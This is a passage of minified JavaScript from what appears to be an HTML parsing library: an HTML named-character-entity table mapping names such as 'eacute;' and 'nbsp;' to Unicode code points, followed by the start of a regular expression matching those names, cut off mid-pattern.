cy;":1119,"dzigrarr;":10239,"eDDot;":10871,"eDot;":8785,eacute:233,"eacute;":233,"easter;":10862,"ecaron;":283,"ecir;":8790,ecirc:234,"ecirc;":234,"ecolon;":8789,"ecy;":1101,"edot;":279,"ee;":8519,"efDot;":8786,"efr;":[55349,56610],"eg;":10906,egrave:232,"egrave;":232,"egs;":10902,"egsdot;":10904,"el;":10905,"elinters;":9191,"ell;":8467,"els;":10901,"elsdot;":10903,"emacr;":275,"empty;":8709,"emptyset;":8709,"emptyv;":8709,"emsp13;":8196,"emsp14;":8197,"emsp;":8195,"eng;":331,"ensp;":8194,"eogon;":281,"eopf;":[55349,56662],"epar;":8917,"eparsl;":10723,"eplus;":10865,"epsi;":949,"epsilon;":949,"epsiv;":1013,"eqcirc;":8790,"eqcolon;":8789,"eqsim;":8770,"eqslantgtr;":10902,"eqslantless;":10901,"equals;":61,"equest;":8799,"equiv;":8801,"equivDD;":10872,"eqvparsl;":10725,"erDot;":8787,"erarr;":10609,"escr;":8495,"esdot;":8784,"esim;":8770,"eta;":951,eth:240,"eth;":240,euml:235,"euml;":235,"euro;":8364,"excl;":33,"exist;":8707,"expectation;":8496,"exponentiale;":8519,"fallingdotseq;":8786,"fcy;":1092,"female;":9792,"ffilig;":64259,"fflig;":64256,"ffllig;":64260,"ffr;":[55349,56611],"filig;":64257,"fjlig;":[102,106],"flat;":9837,"fllig;":64258,"fltns;":9649,"fnof;":402,"fopf;":[55349,56663],"forall;":8704,"fork;":8916,"forkv;":10969,"fpartint;":10765,frac12:189,"frac12;":189,"frac13;":8531,frac14:188,"frac14;":188,"frac15;":8533,"frac16;":8537,"frac18;":8539,"frac23;":8532,"frac25;":8534,frac34:190,"frac34;":190,"frac35;":8535,"frac38;":8540,"frac45;":8536,"frac56;":8538,"frac58;":8541,"frac78;":8542,"frasl;":8260,"frown;":8994,"fscr;":[55349,56507],"gE;":8807,"gEl;":10892,"gacute;":501,"gamma;":947,"gammad;":989,"gap;":10886,"gbreve;":287,"gcirc;":285,"gcy;":1075,"gdot;":289,"ge;":8805,"gel;":8923,"geq;":8805,"geqq;":8807,"geqslant;":10878,"ges;":10878,"gescc;":10921,"gesdot;":10880,"gesdoto;":10882,"gesdotol;":10884,"gesl;":[8923,65024],"gesles;":10900,"gfr;":[55349,56612],"gg;":8811,"ggg;":8921,"gimel;":8503,"gjcy;":1107,"gl;":8823,"glE;":10898,"gla;":10917,"glj;":10916,"gnE;":8809,"gnap;":10890,"gnapprox;":10890,"gne;":10888,"gneq;":10888,"gneqq;":8809,"gnsim;":8935,"gopf;":[55349,56664],"grave;":96,"gscr;":8458,"gsim;":8819,"gsime;":10894,"gsiml;":10896,gt:62,"gt;":62,"gtcc;":10919,"gtcir;":10874,"gtdot;":8919,"gtlPar;":10645,"gtquest;":10876,"gtrapprox;":10886,"gtrarr;":10616,"gtrdot;":8919,"gtreqless;":8923,"gtreqqless;":10892,"gtrless;":8823,"gtrsim;":8819,"gvertneqq;":[8809,65024],"gvnE;":[8809,65024],"hArr;":8660,"hairsp;":8202,"half;":189,"hamilt;":8459,"hardcy;":1098,"harr;":8596,"harrcir;":10568,"harrw;":8621,"hbar;":8463,"hcirc;":293,"hearts;":9829,"heartsuit;":9829,"hellip;":8230,"hercon;":8889,"hfr;":[55349,56613],"hksearow;":10533,"hkswarow;":10534,"hoarr;":8703,"homtht;":8763,"hookleftarrow;":8617,"hookrightarrow;":8618,"hopf;":[55349,56665],"horbar;":8213,"hscr;":[55349,56509],"hslash;":8463,"hstrok;":295,"hybull;":8259,"hyphen;":8208,iacute:237,"iacute;":237,"ic;":8291,icirc:238,"icirc;":238,"icy;":1080,"iecy;":1077,iexcl:161,"iexcl;":161,"iff;":8660,"ifr;":[55349,56614],igrave:236,"igrave;":236,"ii;":8520,"iiiint;":10764,"iiint;":8749,"iinfin;":10716,"iiota;":8489,"ijlig;":307,"imacr;":299,"image;":8465,"imagline;":8464,"imagpart;":8465,"imath;":305,"imof;":8887,"imped;":437,"in;":8712,"incare;":8453,"infin;":8734,"infintie;":10717,"inodot;":305,"int;":8747,"intcal;":8890,"integers;":8484,"intercal;":8890,"intlarhk;":10775,"intprod;":10812,"iocy;":1105,"iogon;":303,"iopf;":[55349,56666],"iota;":953,"iprod;":10812,iquest:191,"iquest;":191,"iscr;":[55349,56510],"isin;":8712,"isinE;":8953,"isindot;":8949,"isins;":8948,"isinsv;":8947,"isinv;":8712,"it;":8290,"itilde;":297,"iukcy;":1110,iuml:239,"iuml;":239,"jcirc;":309,"jcy;":1081,"jfr;":[55349,56615],"jmath;":567,"jopf;":[55349,56667],"jscr;":[55349,56511],"jsercy;":1112,"jukcy;":1108,"kappa;":954,"kappav;":1008,"kcedil;":311,"kcy;":1082,"kfr;":[55349,56616],"kgreen;":312,"khcy;":1093,"kjcy;":1116,"kopf;":[55349,56668],"kscr;":[55349,56512],"lAarr;":8666,"lArr;":8656,"lAtail;":10523,"lBarr;":10510,"lE;":8806,"lEg;":10891,"lHar;":10594,"lacute;":314,"laemptyv;":10676,"lagran;":8466,"lambda;":955,"lang;":10216,"langd;":10641,"langle;":10216,"lap;":10885,laquo:171,"laquo;":171,"larr;":8592,"larrb;":8676,"larrbfs;":10527,"larrfs;":10525,"larrhk;":8617,"larrlp;":8619,"larrpl;":10553,"larrsim;":10611,"larrtl;":8610,"lat;":10923,"latail;":10521,"late;":10925,"lates;":[10925,65024],"lbarr;":10508,"lbbrk;":10098,"lbrace;":123,"lbrack;":91,"lbrke;":10635,"lbrksld;":10639,"lbrkslu;":10637,"lcaron;":318,"lcedil;":316,"lceil;":8968,"lcub;":123,"lcy;":1083,"ldca;":10550,"ldquo;":8220,"ldquor;":8222,"ldrdhar;":10599,"ldrushar;":10571,"ldsh;":8626,"le;":8804,"leftarrow;":8592,"leftarrowtail;":8610,"leftharpoondown;":8637,"leftharpoonup;":8636,"leftleftarrows;":8647,"leftrightarrow;":8596,"leftrightarrows;":8646,"leftrightharpoons;":8651,"leftrightsquigarrow;":8621,"leftthreetimes;":8907,"leg;":8922,"leq;":8804,"leqq;":8806,"leqslant;":10877,"les;":10877,"lescc;":10920,"lesdot;":10879,"lesdoto;":10881,"lesdotor;":10883,"lesg;":[8922,65024],"lesges;":10899,"lessapprox;":10885,"lessdot;":8918,"lesseqgtr;":8922,"lesseqqgtr;":10891,"lessgtr;":8822,"lesssim;":8818,"lfisht;":10620,"lfloor;":8970,"lfr;":[55349,56617],"lg;":8822,"lgE;":10897,"lhard;":8637,"lharu;":8636,"lharul;":10602,"lhblk;":9604,"ljcy;":1113,"ll;":8810,"llarr;":8647,"llcorner;":8990,"llhard;":10603,"lltri;":9722,"lmidot;":320,"lmoust;":9136,"lmoustache;":9136,"lnE;":8808,"lnap;":10889,"lnapprox;":10889,"lne;":10887,"lneq;":10887,"lneqq;":8808,"lnsim;":8934,"loang;":10220,"loarr;":8701,"lobrk;":10214,"longleftarrow;":10229,"longleftrightarrow;":10231,"longmapsto;":10236,"longrightarrow;":10230,"looparrowleft;":8619,"looparrowright;":8620,"lopar;":10629,"lopf;":[55349,56669],"loplus;":10797,"lotimes;":10804,"lowast;":8727,"lowbar;":95,"loz;":9674,"lozenge;":9674,"lozf;":10731,"lpar;":40,"lparlt;":10643,"lrarr;":8646,"lrcorner;":8991,"lrhar;":8651,"lrhard;":10605,"lrm;":8206,"lrtri;":8895,"lsaquo;":8249,"lscr;":[55349,56513],"lsh;":8624,"lsim;":8818,"lsime;":10893,"lsimg;":10895,"lsqb;":91,"lsquo;":8216,"lsquor;":8218,"lstrok;":322,lt:60,"lt;":60,"ltcc;":10918,"ltcir;":10873,"ltdot;":8918,"lthree;":8907,"ltimes;":8905,"ltlarr;":10614,"ltquest;":10875,"ltrPar;":10646,"ltri;":9667,"ltrie;":8884,"ltrif;":9666,"lurdshar;":10570,"luruhar;":10598,"lvertneqq;":[8808,65024],"lvnE;":[8808,65024],"mDDot;":8762,macr:175,"macr;":175,"male;":9794,"malt;":10016,"maltese;":10016,"map;":8614,"mapsto;":8614,"mapstodown;":8615,"mapstoleft;":8612,"mapstoup;":8613,"marker;":9646,"mcomma;":10793,"mcy;":1084,"mdash;":8212,"measuredangle;":8737,"mfr;":[55349,56618],"mho;":8487,micro:181,"micro;":181,"mid;":8739,"midast;":42,"midcir;":10992,middot:183,"middot;":183,"minus;":8722,"minusb;":8863,"minusd;":8760,"minusdu;":10794,"mlcp;":10971,"mldr;":8230,"mnplus;":8723,"models;":8871,"mopf;":[55349,56670],"mp;":8723,"mscr;":[55349,56514],"mstpos;":8766,"mu;":956,"multimap;":8888,"mumap;":8888,"nGg;":[8921,824],"nGt;":[8811,8402],"nGtv;":[8811,824],"nLeftarrow;":8653,"nLeftrightarrow;":8654,"nLl;":[8920,824],"nLt;":[8810,8402],"nLtv;":[8810,824],"nRightarrow;":8655,"nVDash;":8879,"nVdash;":8878,"nabla;":8711,"nacute;":324,"nang;":[8736,8402],"nap;":8777,"napE;":[10864,824],"napid;":[8779,824],"napos;":329,"napprox;":8777,"natur;":9838,"natural;":9838,"naturals;":8469,nbsp:160,"nbsp;":160,"nbump;":[8782,824],"nbumpe;":[8783,824],"ncap;":10819,"ncaron;":328,"ncedil;":326,"ncong;":8775,"ncongdot;":[10861,824],"ncup;":10818,"ncy;":1085,"ndash;":8211,"ne;":8800,"neArr;":8663,"nearhk;":10532,"nearr;":8599,"nearrow;":8599,"nedot;":[8784,824],"nequiv;":8802,"nesear;":10536,"nesim;":[8770,824],"nexist;":8708,"nexists;":8708,"nfr;":[55349,56619],"ngE;":[8807,824],"nge;":8817,"ngeq;":8817,"ngeqq;":[8807,824],"ngeqslant;":[10878,824],"nges;":[10878,824],"ngsim;":8821,"ngt;":8815,"ngtr;":8815,"nhArr;":8654,"nharr;":8622,"nhpar;":10994,"ni;":8715,"nis;":8956,"nisd;":8954,"niv;":8715,"njcy;":1114,"nlArr;":8653,"nlE;":[8806,824],"nlarr;":8602,"nldr;":8229,"nle;":8816,"nleftarrow;":8602,"nleftrightarrow;":8622,"nleq;":8816,"nleqq;":[8806,824],"nleqslant;":[10877,824],"nles;":[10877,824],"nless;":8814,"nlsim;":8820,"nlt;":8814,"nltri;":8938,"nltrie;":8940,"nmid;":8740,"nopf;":[55349,56671],not:172,"not;":172,"notin;":8713,"notinE;":[8953,824],"notindot;":[8949,824],"notinva;":8713,"notinvb;":8951,"notinvc;":8950,"notni;":8716,"notniva;":8716,"notnivb;":8958,"notnivc;":8957,"npar;":8742,"nparallel;":8742,"nparsl;":[11005,8421],"npart;":[8706,824],"npolint;":10772,"npr;":8832,"nprcue;":8928,"npre;":[10927,824],"nprec;":8832,"npreceq;":[10927,824],"nrArr;":8655,"nrarr;":8603,"nrarrc;":[10547,824],"nrarrw;":[8605,824],"nrightarrow;":8603,"nrtri;":8939,"nrtrie;":8941,"nsc;":8833,"nsccue;":8929,"nsce;":[10928,824],"nscr;":[55349,56515],"nshortmid;":8740,"nshortparallel;":8742,"nsim;":8769,"nsime;":8772,"nsimeq;":8772,"nsmid;":8740,"nspar;":8742,"nsqsube;":8930,"nsqsupe;":8931,"nsub;":8836,"nsubE;":[10949,824],"nsube;":8840,"nsubset;":[8834,8402],"nsubseteq;":8840,"nsubseteqq;":[10949,824],"nsucc;":8833,"nsucceq;":[10928,824],"nsup;":8837,"nsupE;":[10950,824],"nsupe;":8841,"nsupset;":[8835,8402],"nsupseteq;":8841,"nsupseteqq;":[10950,824],"ntgl;":8825,ntilde:241,"ntilde;":241,"ntlg;":8824,"ntriangleleft;":8938,"ntrianglelefteq;":8940,"ntriangleright;":8939,"ntrianglerighteq;":8941,"nu;":957,"num;":35,"numero;":8470,"numsp;":8199,"nvDash;":8877,"nvHarr;":10500,"nvap;":[8781,8402],"nvdash;":8876,"nvge;":[8805,8402],"nvgt;":[62,8402],"nvinfin;":10718,"nvlArr;":10498,"nvle;":[8804,8402],"nvlt;":[60,8402],"nvltrie;":[8884,8402],"nvrArr;":10499,"nvrtrie;":[8885,8402],"nvsim;":[8764,8402],"nwArr;":8662,"nwarhk;":10531,"nwarr;":8598,"nwarrow;":8598,"nwnear;":10535,"oS;":9416,oacute:243,"oacute;":243,"oast;":8859,"ocir;":8858,ocirc:244,"ocirc;":244,"ocy;":1086,"odash;":8861,"odblac;":337,"odiv;":10808,"odot;":8857,"odsold;":10684,"oelig;":339,"ofcir;":10687,"ofr;":[55349,56620],"ogon;":731,ograve:242,"ograve;":242,"ogt;":10689,"ohbar;":10677,"ohm;":937,"oint;":8750,"olarr;":8634,"olcir;":10686,"olcross;":10683,"oline;":8254,"olt;":10688,"omacr;":333,"omega;":969,"omicron;":959,"omid;":10678,"ominus;":8854,"oopf;":[55349,56672],"opar;":10679,"operp;":10681,"oplus;":8853,"or;":8744,"orarr;":8635,"ord;":10845,"order;":8500,"orderof;":8500,ordf:170,"ordf;":170,ordm:186,"ordm;":186,"origof;":8886,"oror;":10838,"orslope;":10839,"orv;":10843,"oscr;":8500,oslash:248,"oslash;":248,"osol;":8856,otilde:245,"otilde;":245,"otimes;":8855,"otimesas;":10806,ouml:246,"ouml;":246,"ovbar;":9021,"par;":8741,para:182,"para;":182,"parallel;":8741,"parsim;":10995,"parsl;":11005,"part;":8706,"pcy;":1087,"percnt;":37,"period;":46,"permil;":8240,"perp;":8869,"pertenk;":8241,"pfr;":[55349,56621],"phi;":966,"phiv;":981,"phmmat;":8499,"phone;":9742,"pi;":960,"pitchfork;":8916,"piv;":982,"planck;":8463,"planckh;":8462,"plankv;":8463,"plus;":43,"plusacir;":10787,"plusb;":8862,"pluscir;":10786,"plusdo;":8724,"plusdu;":10789,"pluse;":10866,plusmn:177,"plusmn;":177,"plussim;":10790,"plustwo;":10791,"pm;":177,"pointint;":10773,"popf;":[55349,56673],pound:163,"pound;":163,"pr;":8826,"prE;":10931,"prap;":10935,"prcue;":8828,"pre;":10927,"prec;":8826,"precapprox;":10935,"preccurlyeq;":8828,"preceq;":10927,"precnapprox;":10937,"precneqq;":10933,"precnsim;":8936,"precsim;":8830,"prime;":8242,"primes;":8473,"prnE;":10933,"prnap;":10937,"prnsim;":8936,"prod;":8719,"profalar;":9006,"profline;":8978,"profsurf;":8979,"prop;":8733,"propto;":8733,"prsim;":8830,"prurel;":8880,"pscr;":[55349,56517],"psi;":968,"puncsp;":8200,"qfr;":[55349,56622],"qint;":10764,"qopf;":[55349,56674],"qprime;":8279,"qscr;":[55349,56518],"quaternions;":8461,"quatint;":10774,"quest;":63,"questeq;":8799,quot:34,"quot;":34,"rAarr;":8667,"rArr;":8658,"rAtail;":10524,"rBarr;":10511,"rHar;":10596,"race;":[8765,817],"racute;":341,"radic;":8730,"raemptyv;":10675,"rang;":10217,"rangd;":10642,"range;":10661,"rangle;":10217,raquo:187,"raquo;":187,"rarr;":8594,"rarrap;":10613,"rarrb;":8677,"rarrbfs;":10528,"rarrc;":10547,"rarrfs;":10526,"rarrhk;":8618,"rarrlp;":8620,"rarrpl;":10565,"rarrsim;":10612,"rarrtl;":8611,"rarrw;":8605,"ratail;":10522,"ratio;":8758,"rationals;":8474,"rbarr;":10509,"rbbrk;":10099,"rbrace;":125,"rbrack;":93,"rbrke;":10636,"rbrksld;":10638,"rbrkslu;":10640,"rcaron;":345,"rcedil;":343,"rceil;":8969,"rcub;":125,"rcy;":1088,"rdca;":10551,"rdldhar;":10601,"rdquo;":8221,"rdquor;":8221,"rdsh;":8627,"real;":8476,"realine;":8475,"realpart;":8476,"reals;":8477,"rect;":9645,reg:174,"reg;":174,"rfisht;":10621,"rfloor;":8971,"rfr;":[55349,56623],"rhard;":8641,"rharu;":8640,"rharul;":10604,"rho;":961,"rhov;":1009,"rightarrow;":8594,"rightarrowtail;":8611,"rightharpoondown;":8641,"rightharpoonup;":8640,"rightleftarrows;":8644,"rightleftharpoons;":8652,"rightrightarrows;":8649,"rightsquigarrow;":8605,"rightthreetimes;":8908,"ring;":730,"risingdotseq;":8787,"rlarr;":8644,"rlhar;":8652,"rlm;":8207,"rmoust;":9137,"rmoustache;":9137,"rnmid;":10990,"roang;":10221,"roarr;":8702,"robrk;":10215,"ropar;":10630,"ropf;":[55349,56675],"roplus;":10798,"rotimes;":10805,"rpar;":41,"rpargt;":10644,"rppolint;":10770,"rrarr;":8649,"rsaquo;":8250,"rscr;":[55349,56519],"rsh;":8625,"rsqb;":93,"rsquo;":8217,"rsquor;":8217,"rthree;":8908,"rtimes;":8906,"rtri;":9657,"rtrie;":8885,"rtrif;":9656,"rtriltri;":10702,"ruluhar;":10600,"rx;":8478,"sacute;":347,"sbquo;":8218,"sc;":8827,"scE;":10932,"scap;":10936,"scaron;":353,"sccue;":8829,"sce;":10928,"scedil;":351,"scirc;":349,"scnE;":10934,"scnap;":10938,"scnsim;":8937,"scpolint;":10771,"scsim;":8831,"scy;":1089,"sdot;":8901,"sdotb;":8865,"sdote;":10854,"seArr;":8664,"searhk;":10533,"searr;":8600,"searrow;":8600,sect:167,"sect;":167,"semi;":59,"seswar;":10537,"setminus;":8726,"setmn;":8726,"sext;":10038,"sfr;":[55349,56624],"sfrown;":8994,"sharp;":9839,"shchcy;":1097,"shcy;":1096,"shortmid;":8739,"shortparallel;":8741,shy:173,"shy;":173,"sigma;":963,"sigmaf;":962,"sigmav;":962,"sim;":8764,"simdot;":10858,"sime;":8771,"simeq;":8771,"simg;":10910,"simgE;":10912,"siml;":10909,"simlE;":10911,"simne;":8774,"simplus;":10788,"simrarr;":10610,"slarr;":8592,"smallsetminus;":8726,"smashp;":10803,"smeparsl;":10724,"smid;":8739,"smile;":8995,"smt;":10922,"smte;":10924,"smtes;":[10924,65024],"softcy;":1100,"sol;":47,"solb;":10692,"solbar;":9023,"sopf;":[55349,56676],"spades;":9824,"spadesuit;":9824,"spar;":8741,"sqcap;":8851,"sqcaps;":[8851,65024],"sqcup;":8852,"sqcups;":[8852,65024],"sqsub;":8847,"sqsube;":8849,"sqsubset;":8847,"sqsubseteq;":8849,"sqsup;":8848,"sqsupe;":8850,"sqsupset;":8848,"sqsupseteq;":8850,"squ;":9633,"square;":9633,"squarf;":9642,"squf;":9642,"srarr;":8594,"sscr;":[55349,56520],"ssetmn;":8726,"ssmile;":8995,"sstarf;":8902,"star;":9734,"starf;":9733,"straightepsilon;":1013,"straightphi;":981,"strns;":175,"sub;":8834,"subE;":10949,"subdot;":10941,"sube;":8838,"subedot;":10947,"submult;":10945,"subnE;":10955,"subne;":8842,"subplus;":10943,"subrarr;":10617,"subset;":8834,"subseteq;":8838,"subseteqq;":10949,"subsetneq;":8842,"subsetneqq;":10955,"subsim;":10951,"subsub;":10965,"subsup;":10963,"succ;":8827,"succapprox;":10936,"succcurlyeq;":8829,"succeq;":10928,"succnapprox;":10938,"succneqq;":10934,"succnsim;":8937,"succsim;":8831,"sum;":8721,"sung;":9834,sup1:185,"sup1;":185,sup2:178,"sup2;":178,sup3:179,"sup3;":179,"sup;":8835,"supE;":10950,"supdot;":10942,"supdsub;":10968,"supe;":8839,"supedot;":10948,"suphsol;":10185,"suphsub;":10967,"suplarr;":10619,"supmult;":10946,"supnE;":10956,"supne;":8843,"supplus;":10944,"supset;":8835,"supseteq;":8839,"supseteqq;":10950,"supsetneq;":8843,"supsetneqq;":10956,"supsim;":10952,"supsub;":10964,"supsup;":10966,"swArr;":8665,"swarhk;":10534,"swarr;":8601,"swarrow;":8601,"swnwar;":10538,szlig:223,"szlig;":223,"target;":8982,"tau;":964,"tbrk;":9140,"tcaron;":357,"tcedil;":355,"tcy;":1090,"tdot;":8411,"telrec;":8981,"tfr;":[55349,56625],"there4;":8756,"therefore;":8756,"theta;":952,"thetasym;":977,"thetav;":977,"thickapprox;":8776,"thicksim;":8764,"thinsp;":8201,"thkap;":8776,"thksim;":8764,thorn:254,"thorn;":254,"tilde;":732,times:215,"times;":215,"timesb;":8864,"timesbar;":10801,"timesd;":10800,"tint;":8749,"toea;":10536,"top;":8868,"topbot;":9014,"topcir;":10993,"topf;":[55349,56677],"topfork;":10970,"tosa;":10537,"tprime;":8244,"trade;":8482,"triangle;":9653,"triangledown;":9663,"triangleleft;":9667,"trianglelefteq;":8884,"triangleq;":8796,"triangleright;":9657,"trianglerighteq;":8885,"tridot;":9708,"trie;":8796,"triminus;":10810,"triplus;":10809,"trisb;":10701,"tritime;":10811,"trpezium;":9186,"tscr;":[55349,56521],"tscy;":1094,"tshcy;":1115,"tstrok;":359,"twixt;":8812,"twoheadleftarrow;":8606,"twoheadrightarrow;":8608,"uArr;":8657,"uHar;":10595,uacute:250,"uacute;":250,"uarr;":8593,"ubrcy;":1118,"ubreve;":365,ucirc:251,"ucirc;":251,"ucy;":1091,"udarr;":8645,"udblac;":369,"udhar;":10606,"ufisht;":10622,"ufr;":[55349,56626],ugrave:249,"ugrave;":249,"uharl;":8639,"uharr;":8638,"uhblk;":9600,"ulcorn;":8988,"ulcorner;":8988,"ulcrop;":8975,"ultri;":9720,"umacr;":363,uml:168,"uml;":168,"uogon;":371,"uopf;":[55349,56678],"uparrow;":8593,"updownarrow;":8597,"upharpoonleft;":8639,"upharpoonright;":8638,"uplus;":8846,"upsi;":965,"upsih;":978,"upsilon;":965,"upuparrows;":8648,"urcorn;":8989,"urcorner;":8989,"urcrop;":8974,"uring;":367,"urtri;":9721,"uscr;":[55349,56522],"utdot;":8944,"utilde;":361,"utri;":9653,"utrif;":9652,"uuarr;":8648,uuml:252,"uuml;":252,"uwangle;":10663,"vArr;":8661,"vBar;":10984,"vBarv;":10985,"vDash;":8872,"vangrt;":10652,"varepsilon;":1013,"varkappa;":1008,"varnothing;":8709,"varphi;":981,"varpi;":982,"varpropto;":8733,"varr;":8597,"varrho;":1009,"varsigma;":962,"varsubsetneq;":[8842,65024],"varsubsetneqq;":[10955,65024],"varsupsetneq;":[8843,65024],"varsupsetneqq;":[10956,65024],"vartheta;":977,"vartriangleleft;":8882,"vartriangleright;":8883,"vcy;":1074,"vdash;":8866,"vee;":8744,"veebar;":8891,"veeeq;":8794,"vellip;":8942,"verbar;":124,"vert;":124,"vfr;":[55349,56627],"vltri;":8882,"vnsub;":[8834,8402],"vnsup;":[8835,8402],"vopf;":[55349,56679],"vprop;":8733,"vrtri;":8883,"vscr;":[55349,56523],"vsubnE;":[10955,65024],"vsubne;":[8842,65024],"vsupnE;":[10956,65024],"vsupne;":[8843,65024],"vzigzag;":10650,"wcirc;":373,"wedbar;":10847,"wedge;":8743,"wedgeq;":8793,"weierp;":8472,"wfr;":[55349,56628],"wopf;":[55349,56680],"wp;":8472,"wr;":8768,"wreath;":8768,"wscr;":[55349,56524],"xcap;":8898,"xcirc;":9711,"xcup;":8899,"xdtri;":9661,"xfr;":[55349,56629],"xhArr;":10234,"xharr;":10231,"xi;":958,"xlArr;":10232,"xlarr;":10229,"xmap;":10236,"xnis;":8955,"xodot;":10752,"xopf;":[55349,56681],"xoplus;":10753,"xotime;":10754,"xrArr;":10233,"xrarr;":10230,"xscr;":[55349,56525],"xsqcup;":10758,"xuplus;":10756,"xutri;":9651,"xvee;":8897,"xwedge;":8896,yacute:253,"yacute;":253,"yacy;":1103,"ycirc;":375,"ycy;":1099,yen:165,"yen;":165,"yfr;":[55349,56630],"yicy;":1111,"yopf;":[55349,56682],"yscr;":[55349,56526],"yucy;":1102,yuml:255,"yuml;":255,"zacute;":378,"zcaron;":382,"zcy;":1079,"zdot;":380,"zeetrf;":8488,"zeta;":950,"zfr;":[55349,56631],"zhcy;":1078,"zigrarr;":8669,"zopf;":[55349,56683],"zscr;":[55349,56527],"zwj;":8205,"zwnj;":8204},LYK=/(A(?:Elig;?|MP;?|acute;?|breve;|c(?:irc;?|y;)|fr;|grave;?|lpha;|macr;|nd;|o(?:gon;|pf;)|pplyFunction;|ring;?|s(?:cr;|sign;)|tilde;?|uml;?)|B(?:a(?:ckslash;|r(?:v;|wed;))|cy;|e(?:cause;|rnoullis;|ta;)|fr;|opf;|reve;|scr;|umpeq;)|C(?:Hcy;|OPY;?|a(?:cute;|p(?:;|italDifferentialD;)|yleys;)|c(?:aron;|edil;?|irc;|onint;)|dot;|e(?:dilla;|nterDot;)|fr;|hi;|ircle(?:Dot;|Minus;|Plus;|Times;)|lo(?:ckwiseContourIntegral;|seCurly(?:DoubleQuote;|Quote;))|o(?:lon(?:;|e;)|n(?:gruent;|int;|tourIntegral;)|p(?:f;|roduct;)|unterClockwiseContourIntegral;)|ross;|scr;|up(?:;|Cap;))|D(?:D(?:;|otrahd;)|Jcy;|Scy;|Zcy;|a(?:gger;|rr;|shv;)|c(?:aron;|y;)|el(?:;|ta;)|fr;|i(?:a(?:critical(?:Acute;|Do(?:t;|ubleAcute;)|Grave;|Tilde;)|mond;)|fferentialD;)|o(?:pf;|t(?:;|Dot;|Equal;)|uble(?:ContourIntegral;|Do(?:t;|wnArrow;)|L(?:eft(?:Arrow;|RightArrow;|Tee;)|ong(?:Left(?:Arrow;|RightArrow;)|RightArrow;))|Right(?:Arrow;|Tee;)|Up(?:Arrow;|DownArrow;)|VerticalBar;)|wn(?:Arrow(?:;|Bar;|UpArrow;)|Breve;|Left(?:RightVector;|TeeVector;|Vector(?:;|Bar;))|Right(?:TeeVector;|Vector(?:;|Bar;))|Tee(?:;|Arrow;)|arrow;))|s(?:cr;|trok;))|E(?:NG;|TH;?|acute;?|c(?:aron;|irc;?|y;)|dot;|fr;|grave;?|lement;|m(?:acr;|pty(?:SmallSquare;|VerySmallSquare;))|o(?:gon;|pf;)|psilon;|qu(?:al(?:;|Tilde;)|ilibrium;)|s(?:cr;|im;)|ta;|uml;?|x(?:ists;|ponentialE;))|F(?:cy;|fr;|illed(?:SmallSquare;|VerySmallSquare;)|o(?:pf;|rAll;|uriertrf;)|scr;)|G(?:Jcy;|T;?|amma(?:;|d;)|breve;|c(?:edil;|irc;|y;)|dot;|fr;|g;|opf;|reater(?:Equal(?:;|Less;)|FullEqual;|Greater;|Less;|SlantEqual;|Tilde;)|scr;|t;)|H(?:ARDcy;|a(?:cek;|t;)|circ;|fr;|ilbertSpace;|o(?:pf;|rizontalLine;)|s(?:cr;|trok;)|ump(?:DownHump;|Equal;))|I(?:Ecy;|Jlig;|Ocy;|acute;?|c(?:irc;?|y;)|dot;|fr;|grave;?|m(?:;|a(?:cr;|ginaryI;)|plies;)|n(?:t(?:;|e(?:gral;|rsection;))|visible(?:Comma;|Times;))|o(?:gon;|pf;|ta;)|scr;|tilde;|u(?:kcy;|ml;?))|J(?:c(?:irc;|y;)|fr;|opf;|s(?:cr;|ercy;)|ukcy;)|K(?:Hcy;|Jcy;|appa;|c(?:edil;|y;)|fr;|opf;|scr;)|L(?:Jcy;|T;?|a(?:cute;|mbda;|ng;|placetrf;|rr;)|c(?:aron;|edil;|y;)|e(?:ft(?:A(?:ngleBracket;|rrow(?:;|Bar;|RightArrow;))|Ceiling;|Do(?:ubleBracket;|wn(?:TeeVector;|Vector(?:;|Bar;)))|Floor;|Right(?:Arrow;|Vector;)|T(?:ee(?:;|Arrow;|Vector;)|riangle(?:;|Bar;|Equal;))|Up(?:DownVector;|TeeVector;|Vector(?:;|Bar;))|Vector(?:;|Bar;)|arrow;|rightarrow;)|ss(?:EqualGreater;|FullEqual;|Greater;|Less;|SlantEqual;|Tilde;))|fr;|l(?:;|eftarrow;)|midot;|o(?:ng(?:Left(?:Arrow;|RightArrow;)|RightArrow;|left(?:arrow;|rightarrow;)|rightarrow;)|pf;|wer(?:LeftArrow;|RightArrow;))|s(?:cr;|h;|trok;)|t;)|M(?:ap;|cy;|e(?:diumSpace;|llintrf;)|fr;|inusPlus;|opf;|scr;|u;)|N(?:Jcy;|acute;|c(?:aron;|edil;|y;)|e(?:gative(?:MediumSpace;|Thi(?:ckSpace;|nSpace;)|VeryThinSpace;)|sted(?:GreaterGreater;|LessLess;)|wLine;)|fr;|o(?:Break;|nBreakingSpace;|pf;|t(?:;|C(?:ongruent;|upCap;)|DoubleVerticalBar;|E(?:lement;|qual(?:;|Tilde;)|xists;)|Greater(?:;|Equal;|FullEqual;|Greater;|Less;|SlantEqual;|Tilde;)|Hump(?:DownHump;|Equal;)|Le(?:ftTriangle(?:;|Bar;|Equal;)|ss(?:;|Equal;|Greater;|Less;|SlantEqual;|Tilde;))|Nested(?:GreaterGreater;|LessLess;)|Precedes(?:;|Equal;|SlantEqual;)|R(?:everseElement;|ightTriangle(?:;|Bar;|Equal;))|S(?:quareSu(?:bset(?:;|Equal;)|perset(?:;|Equal;))|u(?:bset(?:;|Equal;)|cceeds(?:;|Equal;|SlantEqual;|Tilde;)|perset(?:;|Equal;)))|Tilde(?:;|Equal;|FullEqual;|Tilde;)|VerticalBar;))|scr;|tilde;?|u;)|O(?:Elig;|acute;?|c(?:irc;?|y;)|dblac;|fr;|grave;?|m(?:acr;|ega;|icron;)|opf;|penCurly(?:DoubleQuote;|Quote;)|r;|s(?:cr;|lash;?)|ti(?:lde;?|mes;)|uml;?|ver(?:B(?:ar;|rac(?:e;|ket;))|Parenthesis;))|P(?:artialD;|cy;|fr;|hi;|i;|lusMinus;|o(?:incareplane;|pf;)|r(?:;|ecedes(?:;|Equal;|SlantEqual;|Tilde;)|ime;|o(?:duct;|portion(?:;|al;)))|s(?:cr;|i;))|Q(?:UOT;?|fr;|opf;|scr;)|R(?:Barr;|EG;?|a(?:cute;|ng;|rr(?:;|tl;))|c(?:aron;|edil;|y;)|e(?:;|verse(?:E(?:lement;|quilibrium;)|UpEquilibrium;))|fr;|ho;|ight(?:A(?:ngleBracket;|rrow(?:;|Bar;|LeftArrow;))|Ceiling;|Do(?:ubleBracket;|wn(?:TeeVector;|Vector(?:;|Bar;)))|Floor;|T(?:ee(?:;|Arrow;|Vector;)|riangle(?: